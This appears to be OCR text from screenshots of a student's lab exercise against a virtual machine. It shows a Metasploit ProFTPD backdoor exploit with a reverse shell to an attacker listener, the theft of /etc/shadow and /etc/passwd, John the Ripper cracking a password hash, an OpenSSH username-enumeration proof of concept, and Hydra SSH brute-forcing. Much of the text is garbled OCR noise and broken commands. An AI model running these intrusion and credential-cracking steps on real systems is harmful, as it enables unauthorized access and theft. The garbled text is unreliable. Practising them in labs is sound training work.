Proxies A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socksSh, http, sapni
RHOSTS The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 21 The target port (TCP)

Exploit target:
Id Name

0  Automatic

iew the full module info with the info, or inf command .

MW JagWl 6 Yt gt WN®=ZIONZ Y IONOT M
MWt @G RYUL IOW9 YA GI YH¢G G VY Whe Wt qCwrYU3Neal ¢ Ya

msf exploit( ) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

The local client address
The local client port
Proxies A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, sapni
RHOSTS  192.168.1.74 The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 The target port (TCP)
Exploit target:
Id Name

Automatic

View the full module info with the info, or info command.

msf exploit( ) > run
192.168.1.74:21 - Exploit failed: A payload has not been selected.
Exploit completed, but no session was created.

msf exploit( )=
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msf exploit( ) > show payloads

Compatible Payloads

Disclosure Date Rank

’ normal
payload/cmd/uni . normal
payload/cmd/unix/bind_perl_ipvé : normal
payload/cmd/unix/generic . normal
payload/cmd/unix/reverse . normal
payload/cmd/unix/reverse_bash_telnet_ssl 2 normal
payload/cmd/unix/reverse_perl . normal

payload/cmd/unix/reverse_perl_ssl A normal
payload/cmd/unix/reverse_ssl_double_telnet . normal

NV WNFEE B

msf exploit( N |

) > set payload &
payload => cmd/unix/reverse
msf exploit( ) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

Name Current Setting Required Description

CHOST The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, s
RHOSTS  192.168.1.74 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met|
RPORT 21 yes The target port (TCP)

X

Name Current Setting Required Description

LHOST The listen address (an interface may be specified)
LPORT 4444 The listen port

Exploit target:
Id Name

0 Automatic
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msf exploit ) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

Name Current Setting Required Description

CHOST The local client address

CPORT The local client port

Proxies A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks
RHOSTS  192.168.1.74 The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 The target port (TCP)

Payload options (cmd/unix/reverse):

Name Current Setting Required Description

LHOST 192.168.1.76 The listen address (an interface may be specified)
LPORT 4444 The listen port

Exploit target:
Id Name

0 Automatic

NYT ¢t Wdet Whewt YOWsI Bhue R IT W 3t wwWdt qCUWARWIUWRY U
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msf exploit( ) > run
Started reverse TCP double handler on 192.168.1.76:4444
192.168.1.74:21 - Sending Backdoor Command
Accepted the first client connection...
Accepted the second client connection...
Command: echo LOvmysHuCPQy7RZB;
Writing to socket A
Writing to socket B
Reading from sockets...

Reading from socket B

B: "LOvmysHuCPQy7RZB\r\n"

Matching...

A is input...

Command shell session 1 opened (192.168.1.76:4444 -> 192.168.1.74:46110) at 2026-03-24 19:24:44 +0100

OWUYYH WT ¢ Wt 61300 IOWO W2 136 VY Whe IWE Ya VY WAId W YYaq
MmLWs 8Yed
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Pying to find binary 'python' on the target machine
Found python at /usr/bin/python
Using “python” to pop up an interactive shell

Trying to find binary 'bash' on the target machine
Found bash at /bin/bash

dev  initrd.img lost+found opt run srv usr
etc 1lib media proc sbin sys var
cdrom home 1ib64 mnt root snap tmp vmlinuz

roota]vtcsec:/#
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systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::

colord:*:17379:0:99999
speech-dispatcher:!
hplip:*:17379:0:999

saned:*:17379:0:99999:
usbmux:*:17379:0:99999

LEV AR TR S IR TR ST\ G PAT VS [ GITAS U ARy c kw69 LR/ OEMtUDFFCYpM3MUHVMty YW9 . ov/aszTpWhLaC2x6Fvy5tpUUXQbUhCKb 14 WA R BE LTI I By S
mysql:!:17486:0:99999: $ \3

sshd:*:17486:0:99999:7:::
rootgvtcsec:/etc# |
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systemd-timesync:x:100:

systemd-network:x:101: 103 systemd Network Management,,,: /run/systemd/netlf /bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:185:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108: : /home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110: : /var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false

lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false

avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq, ,, :/var/lib/misc:/bin/false

colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false

usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false

marlinspike: x :1000:marlinspike, ,, :/home/marlinspike:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false

sshd:x:122:65534: : /var/run/sshd:/usr/sbin/nologin

rootgvtcsec:/etct |J

x Yt Wet ecl RYt WG YCRecaWUqUWI RAGS Y Wt YULWS Y Whe I3WIIG C

x Yt WYaql Vi Whe JWHYGRWUAcUWGY! WUGWNA=ZA0 WEYUlet 2¢ |
et ecl RYt Whe JWNWt qRYU¢ OWa Yt Wi Rnl 3OqIt W 31 2 RERYV

cat passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games: /usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
1p:x:7:7:1p:/var/spool/1lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

vwwi-data:x:33:33 :www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups: /usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody: x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108: : /home/syslog:/bin/false
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kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false

marlinspike:x:1000:1000:marlinsoike, ,,:/home/marlinspike:/bin/bash
:12R;MySQL Server,,,:/nonexistent:/bin/false

BRI x 1122 ::/var/run/sshd:/usr/sbin/nologin

rootgvtcsec:/etct |J
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usbmux:x:120:46:usbmux daemon, ,,:/var/lib/usbmux:/bin/false

marlinspike:x:1000:1000:marlinspike, ,,:/home/marlinspike:/bin/bash

mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false

sshd:x:122:65534: :/var/run/sshd: /usr/sbin/nologin

rootgvtcsec:/etc# id marlinspike

id marlinspike <
uid=1000(marlinspike) gid=10@@(marlinspike) groups=1000(marlinspike),k(adm),zk(cdrom),,30(dip),ke(plugdev),113(1L>‘§dmin),128(sambashare)
rootgvtcsec:/etc# ||
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speech-dispatch
hplip:#:17379

sshd:*:17486:0:99999:7
rootgvtesec:/etc# ||
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)~ | ~/Documentos

-[~/Documentos ]

)-[~/Documentos |

-[~/Documentos ]

alfonso@kali: ~/Documentos

root@kali: /nome/alfonso root@kali: /home/alfonso
GNU nano 8.6 pass.txt *
marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/OEMtUbFFCYpM3MUHVmtyYW9 ., ov/aszTpWhLaC2x6Fvy5tpUUXQbUhCKb14/:17484:0:99999:7: ¢ :
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John the Ripper password cracker

John the Ripper is an Open Source password security auditing and password recovery tool available for many operating systems. John the Ripper jumbo supports hundreds of hash and cipher types, including for: user passwords of Ui
macOS, Windows, “web apps” (e.g., WordPress), groupware (e.g., Notes/Domino), and database servers (SQL, LDAP, etc.); network traffic captures (Windows network authentication, WiFi WPA-PSK, eic.); encrypted private keys (S5
disks (macOS .dmg files and “sparse bundles”, Windows BitLocker, eic.), archives (ZIP, RAR, 7z), and document files (PDF, Microsofi Office’s, eic.) These are jusi some of the examples - there are many more

Follow @Openwall on Twitter for new release announcements and othet news

John the Ripper is free and Open Source software, distributed primarily in source code form. If you would rather use a commercial product, please consider John the Ripper Pro, which is distributed primarily in the form of "native” pack
meant to be easier to install and use while delivering optimal performance.

Proceed to John the Ripper Pro homepage for your OS:

« John the Ripper Pro for Linux
« John the Ripper Pro for macOS

« On Windows, consider Hash Suite (develaped by a contributor to John the Ripper)

« On Android, consider Hash Sulte Droid ~

Download the latest John the Ripper development snapshot or jumbo release (release notes):

« Development source code in GitHub repository (download as tar.gz or zip) - recommended in preference of the release
« 1.9.0-jumbo-1 sources in tar.xz, 33 MB (signature) or tar.gz, 43 MB (signature) — out of date, with known issues

« 1.9.0-jumbo-1 64-bit Windows binaries in 7z, 22 MB (signature) or zip, 63 MB (signature)

« 1.9.0-jumbo-1 32-bit Windows binaries in 7z, 21 MB (signature) or zip, 61 MB (signature)

Run John the Ripper jumbo in the cloud (AWS):
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~/Documentos

pass.txt
marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/@EMtUbFFCYpM3MUHVMtyYW9 . ov/aszTpWhLaC2x6Fvy5tpUUXQbUhCKb14/:17484:0:99999:7:::

~/Documentos
pass.txt []
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~/Documentos |
‘ pass.txt
Created directory: /home/alfonso/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHAS12 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 6 OpenMP threads

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, -almost any other key for status

marlinspike (marlinspike)

1g 0:00:00:00 DONE 1/3 (2026-03-24 19:47) 50.00g/s 1200p/s 1200c/s 1200C/s marlinspike..Marlinspike2
Use the "--show" option to display all of the cracked passwords reliably

Session completed.
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/home/alfonso/Documentos

[ pass.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (FEEF¥ISsqyt, crypt(3) $6% [SHAS12 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 6 OpenMP threads
Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status

marlinspike (marlinspike)

1g 0:00:00:00 DONE 1/3 (2026-03-24 20:07) 33.33g/s 800.0p/s 800.0c/s 800.0C/s marlinspike..Ma
Use the "--show" option to display all of the cracked passwords reliably

Session completed.

/home/alfonso/Documentos
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Then make "mypasswd" available to your non-root user account that you will run John under. No further commands will need to be run as root.

If your system is ancient enough that it keeps passwords right in the world-readable /etc/passwd, simply make a copy of that file.

If you're going to be cracking Kerberos AFS passwords, use John's "unafs" utility to obtain a passwd-like file.

Similarly, if you're going to be cracking Windows passwords, use any of the many utilities that dump Windows password hashes (LM and/or NTLM) in Jeremy Allison's PWDUMP output format. Some of these 1
https://www.openwall.com/passwords/pwdump

2. Now, let's assume you've got a password file, "mypasswd", and want to crack it. The simplest way is to let John use its default order of cracking modes:
john mypasswd

This will try "single crack" mode first, then use a wordlist with rules, and finally go for "incremental” mode. Please refer to MODES for more information on these modes.

It is highly recommended that you obtain a larger wordlist than John's default password.Ist and edit the "Wordlist = ..." line in the configuration file (see CONFIG) before running John. Some wordlists may be ob
https://www.openwall. com/wordlists/

Of those available in the collection at the URL above, all.lst (downloadable as all.gz) and huge.lst (only available on the cp] are good candidates for the "Wordlist = ..." setting.

3.1f you've got some passwords cracked, they are stored in SIOHN/john.pot. The john.pot file is not meant to be human-friendly. You should be using John itself to display the contents of its "pot file" in a conver
john --show mypasswd

If the account list gets large and doesn't fit on the screen, you should, of course, use your shell's output redirection.

You might notice that many accounts have a disabled shell. You can make John skip those in the report. Assuming that the disabled shell is called "/etc/expired”, the command would be:

john --show --shells=-/etc/expired mypasswd

cc! WaRt et W WWsYITORY gt AWGEHtsYI T4+ dWae! WGYqUUql

sY6UWe WGe ! qlWwl DWAHzt #el WIUWeUcWs YI T GRY qu2 ¢ WG YHA(
HYOGHRUCqY!I R¢et OWx JWe YeT JWe UWLNAWNZONAWGY U WIIG WO Y ¢

MT Y Ol

)~ | ~/Documentos
John the Ripper 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 OMP [linux-gnu 64-bit x86_64 AVX2 AC]
Copyright (c) 1996-2021 by Solar Designer and others
Homepage: https://www.openwall.com/john/

Usage: john [OPTIONS] [PAsswonn-mElQ]

--help Print usage summary
--single[=SECTION[,..]] "Single crack" mode, using default or named rules
Same, using "immediate" rule(s)
--single-seed=WORD[ ,WORD] Add static seed word(s) for all salts in single mode
--single-wordlist=FILE *Short* wordlist with static seed words/morphemes
--single-user-seed=FILE Wordlist with seeds per username (user:password[s]
format)
--single-pair-max=N Override max. number of word pairs generated (6)
--no-single-pair Disable single word pair generation
--[no-Jsingle-retest-guess Override config for SingleRetestGuess
--wordlist[=FILE] --stdin Wordlist mode, read words from FILE or stdin
--pipe like --stdin, but bulk reads, and allows rules
--rules[=SECTION[,..]] Enable word mangling rules (for wordlist or PRINCE
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format(s), including using classes and wildcards.

)-| ~/Documentos
marlinspike192.168.1.74
The authenticity of host '192.168.1.74 (192.168.1.74)"' can't be established.
ED25519 key fingerprint is: SHA256:ZEGVF8tQ4SMYJOaKofsmiTFy5G+/ey3R7Fxd9X4eQoQ
This key is not known by any other names.

Are you sure you want

to continue connecting (yes/no/[fingerprint])? |}

ERWINWGYU

marlinsp
The authenticity
£025519 key finge 2
This key is not known by any other nam
Are you sure you want to continue conn

8.1.74 (192.168.
561 tQ4S

1.7
Welcome to Ubuntu 16.04.3

* Documentation:
* Management :
* Support:

1p.ubuntu. com

646 packages can be upd:
500 updates are secu

New releas LTS’ e.
Run ‘do-release-upgrade’ to upgrade to it.

The programs included with the Ubuntu syst
the exact distribution progras
individual files in /usi opyright.

IFLINGieLIE CLHT csI¥I T q V! Wi 30ql Yo

4)* can't be established.
m1TFy5G+/eyIRTFXdIX4eQoQ

gerprint])? yes
of known hosts.

‘openssh.com/pq.h

uX 4.10.0-28-generic Xx86_64)

are free software;

lescribed in the

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

$1s

examples. desktop proftpd-1.3.3c. tar.bz2. bak

8feef4do7-backdoored_proftpd-1.3.3c.t
yad

/home/marlinspike

é10 Yt Whe JWs ¢! We UWs

YITGlI Ittt awe UWAz At RHE KOO

046e85f6fe460de94fd4s6198feef4do7-backdo

marlinspikegvtcsec:
/home/marlinspike
marlinspikeavtcsec:
marlinspikegvtcsec:
marlinspikeavtcsec:
total ©
marlinspikegvtcsec:
marlinspikegvtcsec:

EUOWAz AGR
6YIl ¢LWée
marlinspikegvtcsec:
marlinspikeagvtcsec:

total ©
marlinspikeavtcsec:

HWO Y WG ¢ !

$ pwd

$ cd Public/

$ 1s
$ 1s -1

Sed e

s

wiel ¢B

HIJAGYH W 21 YW 2 a

$ 1s
$1s -1

$ cd

marlinspike@vtcsec:~$ sudo su

[sudo] password for [EINSUIIBLG:

Sorry, try again.

[sudo] password for marlinspike:
rootgvtcsec:/home/marlinspike# 1s

046e85f6fe460de94fd46198feef4do7-backdoored_proftpd-1.3.3c.tar.gz.bak
rootgvtcsec:/home/marlinspike#

O WG YNNI ¢WeHHEWIT I WedWl YYqto
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~/Documentos

Descargas

)-[~/Descargas
empleados-pass.bin

~/Descargas
empleados-pass.bin
jarning: invalid UTF-8 seen reading empleados-pass.bin
sing default input encoding: UTF-8
o password hashes loaded (see FAQ)

~/Descargas

OWUYWH KWW WTEAWGY! hue WWIIG WG Ynlle qRIRAC WG ¢ WIUHI RC
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GO gle algoritmo encriptacion reversive mysql
Modo IA Todo Imagenes /ideos Videos cortos Noticias Web Mas - Herramier

Quizas quisiste decir: algoritmo encriptacion reversible mysql
4 Vista creada con IA
El algoritmo de encriptacion reversible mas utilizado y recomendado en MySQL para

proteger datos sensibles (como tarjetas de crédito o informacion personal) es AES
(Advanced Encryption Standard). @ Devart

MySQL propord
que significa q
Funciones Principales de Encriptacién Reversible
1. AES_ENCRYPT(cadena, clave) : Cifra una cadena utilizando AES.

2. WA 4 (cadena_cifrada, clave) : Descifra los datos cifrados
previamente. & KeepCoding +2

S

Ejemplo Practico

Para encriptar y desencriptar datos en una tabla:
OWdRI ¢Wt RWSe! WedNaUcWnYl GeWwl ywRrYU3INal ¢l Ws Y6 UWN
Acl DRUWe JWUY WWJIt WneHqRAGT IO
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HYUWHYOGARUECqVY!I Res WAN213101 WGRUz qYW=MaNM

tue RWs ¢! WaGYt WeOWe UCORY Rt W YW ¢ WG+ YOcaWaWWayYt L
mMIAScH W WWH2 G GINeYVY BWOWGYT I ReaVYt WHYGHRUC! WqVYT ¢
Gett syl Tt
EUWGoeNne!l W DWs Y6IAWEYT DG VYt We qRIRACT LW
sYsUWYWqUW REVW RWYWOYOW YWwWse! WIUagl WG U7 Ret HOWNL
Gct W2cWIURI RGaqeUT YAWG et WHYGAGGe ! ¢ WRYUWUDG WS et 6 W L
Uc¢T ¢oW YWGYNI ¢ Whe JW213¢ W JWI3t YWl 13t ¢ Gel IIHII bB
ERWUOYWqRWUWY WPGWE et 6WsYSUWOYW2e¢e oWl ywWUeT ¢s.

co?A W RWhe WWT RAVDALW! YWIWW ij WAYOWHqE ! AWe RWhe 1J LW
e2Ullet 2¢l RYAWe UcWs YI T 0GRt qB
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22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)

| 256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da¥3a:bb:4d:93:04 (ECDSA)

|_ 256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| _http-server-header: Apache/2.4.18 (Ubuntu)

| _http-title: Site doesn't have a title (text/html).

MAC Address: 08:00:27:BF:6C:02 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 3.X|4.X

x YW WY¢eael Ywt YOWe Uct WHEGe 213t Whe JWGe !l DRPDWqUIUUI 1O
Al 2 JH¢ We W6 ¢ #IJI We U LW
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/home/alfonso/Documentos
rootp192.168.1.74
The authenticity of host '192.168.1.74 (192.168.1.74)' can't be established.
ED25519 key fingerprint is: SHA256:ZEGvF8tQ4SMYJOaKofsmlTFy5G+/ey3R7Fxd9X4eQoQ
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.1.74' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.

** This session may be vulnerable to "store now, decrypt later" attacks.

** The server may need to be upgraded. See https://openssh.com/pq.html
rootg192.168.1.74"'s password: l

Yt WGRT DWGe¢ttsYI T AW WHe e WOYWa YWt ¢ AJAG YL 1O
tue RWOY W2 ¢ WWIeWGet syl T W YWael Rt GRt IO
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PORT STATE SERVICE VERSION
21/tcp open ftp ProfFTPD 1.3.3c

22/tcp open ssh OpenSSH 7.2p2 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

} RWue JW6 ¢ ®#II We Wl YYqe s RWOYWqWUT | Re Wt WOqRT Y oW
VI et RWGYWSeHIJGYE W YAI Wa

/home/alfonso/Documentos
marlinspike192.168.1.74
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
marlinspike192.168.1.74's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

646 packages can be updated.
500 updates are security updates.

New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Mar 24 14:52:38 2026 from 192.168.1.76
marlinspike@vtcsec:~$ sudo su
[sudo] password for marlinspike: N

tue R RO
ERWUYWt ¢HIGYY WG Wet 2¢l RYa
Az Jt W2¢GYt We WAaRI ¢ Wa
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/home/alfonso/Documentos
OpensSH 7.2p2

7.7 A
7.7 - USername Enumeration (PoC)
Denial of Service

- Username Enumeration g
- 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation linux/remote/45210.py
- agent Protocol Arbitrary Library Loading 1inux/d05/40888_py

linux/remote/45233.py

- User Enumeration (2)
- Username Enumeration

linux/remote/40136.py
linux/local/40962. txt
shellcodes: No Results linux/remote/40963. txt
linux/remote/45939.py

/home/alf /D t >
- linux/remote/40113. txt

ow2uaYt wylwWaecwrYadeaUe W IWae W I UAEEC Whe WAt We U W
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/home/alfonso/Documentos
« linux/remote/40136.py

Exploit: OpenSSH 7.2p2 - Username Enumeration
URL: https://www.exploit-db.com/exploits/40136
Path: /usr/share/exploitdb/exploits/linux/remote/40136.py
Codes: CVE-2016-6210
Verified: False
ile Type: Python script, ASCII text executable

zsh: suspended searchsploit -x linux/remote/40136.py

/home/alfonso/Documentos

/home/alfonso/Documentos

/home/alfonso/Documentos
linux/remote/40136.py

Exploit: OpenSSH 7.2p2 - Username Enumeration
URL: https://www.exploit-db.com/exploits/40136
Path: /usr/share/exploitdb/exploits/linux/remote/40136.py
Codes: CVE-2016-6210
Verified: False
File Type: Python script, ASCII text executable

Copied to: /home/alfonso/Documentos/40136.py

/home/alfonso/Documentos
40136.py pass.txt

/home/alfonso/Documentos
) 40136.py ]

x JWéeHPUWe UwWlcUYW! WJIGGRIDAC We WaRI ¢l a



root@kali;: /home/alfonso

GNU nano 8.6

paramiko
time
numpy
argparse
Sys

args =

bcolors:

HEADER = '\033
OKBLUE = "\
OKGREEN
WARNING

FAIL )
ENDC
BOLD

" un n

e uavYt weUW9 éEB

Yt W RAVWe W2 ¢ We WRUqUUaqe!l WUzl ¢ WivYt Wet 2¢l RN
fOGY!l qe WA2 It WaqWUT I ReG VYt Whe JWRUt qedcl WaVYT ¢t WIIt ¢
ECw3z0AwW2¢a Yt We WGI YA¢ ! a
MIWGSE! qYUOWNMNOZ OG! WIN®=ONZ Y ION IOT M

/home/alfonso/Documentos
40136.py 192.168.1.74

User name enumeration against SSH daemons affected by CVE-2016-6210
Created and coded by @_o (null.null [at] yahoo.com), PoC by Eddie Harari

You must give a user or a list of users
[

N

/home/alfonso/Documentos
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GNU nano 8.6
pepito
jacinto
marlinspike]]

/home/alfonso/Documentos
40136.py 192.168.1.74 list.txt
usage: 40136.py [-h] [-u USER | -U USERLIST] [-e] [-s] [--bytes BYTES] [--samples SAMPLES] [--factor FACTOR] [--trials TRIALS] host
40136.py: error: unrecognized arguments: list.txt

/home/alfonso/Documentos
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/home/alfonso/Documentos
40136.py 192.168.1.74 -U list.txt

User name enumeration against SSH daemons affected by CVE-2016-6210
Created and coded by @_o (null.nuil [at] yahoo.com), PoC by Eddie Harari

Testing SSHD at: 192.168.1.74:22, Banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
Getting baseline timing for authenticating non-existing users.Traceback (most recent call last):
File , line , in

File , line , in
sample = connect(host, port, 'foobar-bleh-nonsense’ + str(i))
File , line 76, in
starttime= ()

/home/alfonso/Documentos

YW ¢cwYgl YWIl 1 YIisWEOWIUAWqWWGe W1 13t WaRI ¢ 1 We UWAe

c8A WEhWAOEW® ?-ASEW9§ LW
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/home/alfonso/Documentos

llroot P /ruta/a/diccionario.txt ssh://192.168.1.50

BCwWi RUzt Hedcalld Wl WHRGAOYY WGet t sYI T HOWBHARWUY W ¢ AL
I RWhue Ja

/home/al fonso/Documentos
root -P /usr/share/wordlists/roffssh://192.168.1.74
Completing file
a a a a

x¢ct WHz23O0¢t Wt YOWl YHEt! Yetloqg+ qON AW UY WG ¢ WaqRIDUIIWT 13t ¢
EVW2¢We Woet l ot ¢l DosYI T ORY qt a
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/home/alfonso/Documentos
-P /usr/share/wordlists/john.lst ssh://192.168.1.74
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-24 20:26:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t &4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3559 login tries (1:1/p:3559), ~223 tries per task

[DATA] attacking ssh://192.168.1.74:22/
“CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

/home/alfonso/Documentos

Al YWwdt qYwlvYwz e wewWwne UARRYUG! WGY! e JWIUWOH2 Uqe W
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/home/alfonso/Documentos
/usr/share/wordlists/john.lst -P /usr/share/wordlists/john.lst ssh://192.168.1.74
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret s.rvice organizations,

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-24 20:27:32

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, t

Al YWIt qYWGe 3T UWgel T ¢l WwéyYl ¢t s
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/home/alfonso/Documentos
40136.py 192.168.1.74 list.txt

User name enumeration against SSH daemons affected by WUZPIKFUELPET
Created and coded by 0_o (null.null [at] yahoo.com), PoC by Eddie

Testing SSHD at: 192.168.1.74:22, Banner: SSH-2.0-OpenSSH_7.2| C°p'§r

EGLW9 éEWNt WGE! ¢WHet Hel YW W2l a
EOW] YVYNGIJa LWnyd ¥ EENMLN Y1 W9 é E

Google exploit for CVE-2016-6210

CVE-2016-6210 Detail - N
hd in OpenSSH before 7.3 or SHA ar ed for user password hashing, uses

FISH hashing on

GitHub
1t

x Yt W] Rag6e HWqRIVUWUWHz WU¢ WGRUq¢ B
AYT DGYH WRU2 1t qRNET 0 YB WG YW RGEY B
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/home/alfonso/Documentos
lisg, txt list.txt ssh://192.168.1.74
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, thes

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-24 20:37:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore

[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (1:4/p:4), ~1 try per task
[DATA] attacking ssh://192.168.1.74:22/

[22][ssh] host: 192.168.1.74 1login: marlinspike password: marlinspike

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-24 20:37:18

/home/alfonso/Documentos
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/home/alfonso/Documentos
L marlinspike -P list.txt ssh://192.168.1.74]

ocWIt WeUecw2adUWI ¢ARGRT ¢T WGY ! heWdlGRDWWY e W e el
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80/tcp open ht 2.1..18 ((ubuntu))
| _http-server-header: Apache/2.4.38 (Ubuntu)

| _http-title: Site doesn't have a title (text/html).

MAC Address: 08:00:27:BF:6C:02 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

() geta - R - O

Yt W REWWe JWE¢! W GEeHGWWbhue BWIIt We OWt 31 2RT Y1 Ws 1JF
écivYt WeWéeHII a
MWt D¢l #E6t GOYRaqW GeHGIIIWE qaGIl W= HOMIONY
/home/alfonso/Documentos
t Apache httpd 2.4.18

Exploits: No Results
Shellcodes: No Results

/home/alfonso/Documentos
Apache 2.4.18
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/home/alfonso/Documentos
Apache 2.4.18

+ PHP < 5.3.12 4.2 - cgi-bin Remote Code Execution
+ PHP < 5.3.12 4.2 - Remote Code Execution + Scanner
2.4.17 < 2.4.38 - ' 2ctl graceful' 'logrotate' Local Privilege Escalation
